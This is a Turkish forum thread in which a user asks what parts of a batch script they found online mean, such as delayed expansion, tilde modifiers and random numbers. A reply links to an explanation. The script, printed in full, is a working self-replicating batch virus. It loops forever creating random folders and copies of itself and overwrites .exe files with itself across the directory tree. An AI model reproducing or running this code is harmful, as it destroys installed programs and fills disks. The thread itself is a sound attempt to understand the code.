İnternette bulduğum bir batch kodunun bazı kısımları hakkında

::This virus was created by Jacob gilbert.
@echo off
SetLocal EnableDelayedExpansion
for %%A in ("%CD%") do set ROOTFOLDER=%%~DA\
for /l %%X in (1,0,2) do (
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
set "RAND=1!RANDOM:~-1!!RANDOM:~-1!"
for /l %%X in (1,1,!RAND!) do (
type %0 > !RANDOM!!RANDOM!!RANDOM!!RANDOM!.bat & type %0 > con )
for %%A in (*.exe) do set "FILE1=%%~DPNXA" & for %%I IN ("!FILE1!") do (
ren "!FILE1!" "%%~NI.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NI.bat" )
for /r %%X in (*.exe) do set "FILE2=%%X" & for %%Z IN ("!FILE2!") do (
ren "!FILE2!" "%%~NZ.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~NZ.bat")
cd..
if "!CD!"=="%ROOTFOLDER%" call :end
)
:end
exit

İnternette bulduğum bir batch kodu bu. Kodu anlamaya çalışıyorum. Anlayamadığım kısımlar şunlar:
1)%%~DA\ neyi temsil ediyor?
2) 1!RANDOM:~-1!!RANDOM:~-1! ne anlama geliyor?
3) FILE1=%%~DPNXA ???
4) Ünlem işaretinin özel bir işlevi var mı?, :heavy_check_mark:
5) “~” simgesinin batch içinde ki anlamı nedir?

Güncelleme: Ünlem işaretleri gecikmeli genişletmeyle ilgili ve değişkenleri temsil ediyorlar.

Batch bir scripting dili degil, o yuzden 1-2 genel mekanizma disinda gordugun her sey cagrilan komutlara ait.

* “uzantisi olmayan dosya” anlamina geliyor olabilir fakat bu sadece bir gelenek. Bir programa pasladiginda * olarak gider.

2, 4, 5 genel variable expansion mekanizmasiyla ilgili: windows 10 - What is the meaning of tilde ~ in batch variables? - Super User

Ayni sorunun sonunda 1 ve 3’u cevaplamak icin gereken islemler de var.

2 Beğeni